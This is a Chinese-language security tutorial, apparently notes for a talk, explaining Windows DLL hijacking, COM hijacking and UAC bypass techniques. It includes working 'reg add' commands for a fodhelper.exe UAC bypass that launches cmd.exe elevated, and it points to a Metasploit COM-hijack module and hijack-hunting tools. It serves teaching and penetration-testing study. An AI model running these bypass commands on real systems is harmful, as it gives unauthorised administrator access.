在线地址:https://www.bilibili.com/video/av51718274/

0x00 前言

本文章只是方便阅读PPT,对于深入的去理解没有太大帮助,只是做个知识索引。

目录如下:

PPT共享在文末的小密圈中了

0x01 何为劫持

即:“在正常事物发生之前进行一个旁路操作”

0x02 DLL是什么

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。 在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。

在Windows平台下,我们使用的应用程序中的功能其实大多都很相似,窗口调用窗口的模块,分配内存调用内存管理的模块,文件操作调用IO模块,这些模块在Windows里的具体表现就是DLL文件。

0X03 DLL的加载过程

PS:Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

注册表路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

DLL的加载过程 – Know DLLs注册表项

Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。

DLL的加载过程 – Process Monitor

Process Monitor是Windows的高级监视工具,可显示实时文件系统,注册表和进程/线程活动。

它结合了两个传统Sysinternals实用程序Filemon和Regmon的功能,并添加了大量增强功能,包括丰富和非破坏性过滤,全面的事件属性,如会话ID和用户名,可靠的流程信息,带有集成符号支持的完整线程堆栈 对于每个操作,同时记录到文件等等。 其独特的强大功能将使Process Monitor成为系统故障排除和恶意软件搜索工具包的核心实用程序。

下载地址: https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-utilities

DLL的加载过程 – Process Monitor Filter

Process Monitor Filter是用于过滤应用程序输出的一部分功能,可以使得进程事件结果成为你想要的内容。

常用过滤条件:Process Name,Path,Result

0x04 DLL劫持的原理

DLL寻找过程:

如果在应用程序寻找成功之前,将我们自己创造的DLL文件放入寻找目录中,那么应用程序就会加载我们自己的DLL?

0x05 实现一个DLL劫持 – DLL Main

BOOL WINAPI DllMain( 
// 指向自身的句柄
 _In_ HINSTANCE hinstDLL, 
// 调用原因
 _In_ DWORD     fdwReason,
// 加载方式(隐式、显式)
  _In_ LPVOID    lpvReserved
);
载入状态 说明
DLL_PROCESS_ATTACH 1 被进程装载时
DLL_PROCESS_DETACH 0 被进程卸载时
DLL_THREAD_ATTACH 2 被线程装载时
DLL_THREAD_DETACH 3 被线程卸载时

实现一个DLL劫持 – DLL Main

BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){
    printf("hModule.%p lpReserved.%p \n", hModule, lpReserved);   switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        printf("Process attach. \n");
        break;
        case DLL_PROCESS_DETACH:
        printf("Process detach. \n");
        break;
        case DLL_THREAD_ATTACH:
        printf("Thread attach. \n");
        break;
        case DLL_THREAD_DETACH:
        printf("Thread detach. \n");
        break;
    }
return (TRUE);
}

Q:如果应用程序调用的DLL没有DLLMain函数呢?

A:这需要实现指定导出函数,然后等待导出函数执行完毕再Load真实DLL。

案例

参考:

自动化测试

Rattler:https://github.com/sensepost/rattler

Robber:https://github.com/MojtabaTajik/Robber

0x06 什么是COM

COM是Component Object Model (组件对象模型)的缩写。 COM是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。

0x07 应用程序与COM注册表的关系

首先需要介绍一下注册表,注册表可以理解为一个树状结构的数据库,它具有一些特殊的数据类型用来存储一些数据满足应用程序的需要。

https://docs.microsoft.com/en-us/windows/desktop/sysinfo/about-the-registry

名称 作用
HKEY_CLASSES_ROOT 用于存储一些文档类型、类、类的关联属性。
HKEY_CURRENT_CONFIG 用户存储有关本地计算机系统的当前硬件配置文件信息。
HKEY_CURRENT_USER 用于存储当前用户配置项。
HKEY_CURRENT_USER_LOCAL_SETTINGS 用于存储当前用户对计算机的配置项。
HKEY_LOCAL_MACHINE 用于存储当前用户物理状态。
HKEY_USERS 用于存储新用户的默认配置项。

HKEY_CLASSES_ROOT = HKEY_LOCAL_MACHINE + HKEY_CURRENT_USER

应用程序与COM注册表的关系 - CLSID

首先需要介绍一下CLSID(Class Identifier),中文翻译为:“全局唯一标识符”。

CLSID是指Windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配的一个唯一表示它的ID代码,用于对其身份的标识和与其他对象进行区分。

应用程序与COM注册表的关系 - 使用COM组件

按下Ctrl+R打开运行窗口,键入 ::{20D04FE0-3AEA-1069-A2D8-08002B30309D} 即可打开“我的电脑”

::{645FF040-5081-101B-9F08-00AA002F954E} 回收站


CLSID结构体
typedef struct _GUID {
    DWORD Data1; // 随机数
    WORD Data2; // 和时间相关
    WORD Data3; // 和时间相关
    BYTE Data4[8]; // 和网卡MAC相关
    } GUID;
    typedef GUID CLSID;  // 组件ID
    typedef GUID IID;    // 接口ID

应用程序与COM注册表的关系 – CLSID Key

Key Name 说明
InprocHandler32 指定应用程序使用的自定义处理程序
InprocServer32 注册32位进程所需要的模块、线程属性配置
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID   
 	{CLSID}       
	InprocServer32          (Default) = path          
	ThreadingModel 	    = value

常见CLSID Key:

More: https://docs.microsoft.com/zh-cn/windows/desktop/com/clsid-key-hklm

0x08 COM组件的加载过程

0x09 COM组件的劫持原理

当进程寻找COM组件时,首先会寻找:

HKCU\Software\Classes\CLSID

我们直接在CLSID下新建一个对象ID,就能够劫持某个进程或多个进程。

与DLL劫持原理相近,但是COM组件的劫持可以拓展很多东西,劫持的目标不一定是一个进程,劫持所需的文件不一定是一个DLL,它可以是一个.com文件、二进制PE文件、DLL文件,劫持的目标也可以是一个Windows API。

0x10 实现一个COM组件劫持

MSF:/opt/metasploit-framework/embedded/framework/modules/exploits/windows/local/bypassuac_comhijack.rb

实现一个COM组件劫持 – 分析

bypassuac_comhijack模块有两个方法:

经过分析,该模块是通过更改注册表,然后创建进程实现的bypassUAC。

0x11 UAC简介

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

UAC需要授权的动作包括:

0x12 ByPass UAC的几种方式

0x13 ByPass UAC的原理 - 自动提升(autoElevate)

具有autoElevate属性True的应用程序会在启动时自动提升权限,而这些应用程序往往都具备微软的签名,微软认为它是可信的。故此,在该程序启动时,将会以管理员身份启动,假设我们通过COM技术或者DLL劫持该应用程序,也能够获得管理员权限,但是,上述两种技术比较苛刻:

0x14 Bypass UAC演示 - fodhelper.exe

Path:C:\Windows\system32\fodhelper.exe

REG:HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command

reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f

ByPass UAC演示 - fodhelper.exe(自动化分析)

配置项:

调用进程:

利用过程:

0x15 挖掘ByPass UAC的方法

寻找自动提升权限的应用程序 – Sigcheck.exe

Strings与Sigcheck,这两款工具目前均由微软官方提供,主要用于查看文件相关信息。

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/

寻找自动提升权限的应用程序 Strings.exe

最好将string.exe放入C:\Windows\System32

寻找自动提升权限的应用程序 Sigcheck.exe

使用Python脚本调用:

https://gist.githubusercontent.com/riyazwalikar/cd31948f247b96d472b97be2a36030b4/raw/a7379c4f5c015e46d65703ee73e674b1c4315810/findelevate.py

0x16 参考

0x17 关于“我的安全成长口袋”

本圈主要用来记录自己技术生涯中短小的收获和知识的备忘,还有就是一些做安全服务工作中的感受。

方向可能会在不断改变:渗透测试、CTF、高效生活、应急响应、安全建设、读后感、代码审计、漏洞复现、运维杂项等等… 我暂时关闭了发帖权限、分享权限; 因为我有一个小的朋友圈,经常讨论一些技术,会在这里用评论交流。

关闭发帖权限是因为不指望加入的朋友分享,我发表的都是我的收获,不想因为别人影响自己的东西,妨碍搜索和温习。

扫码可免费加入: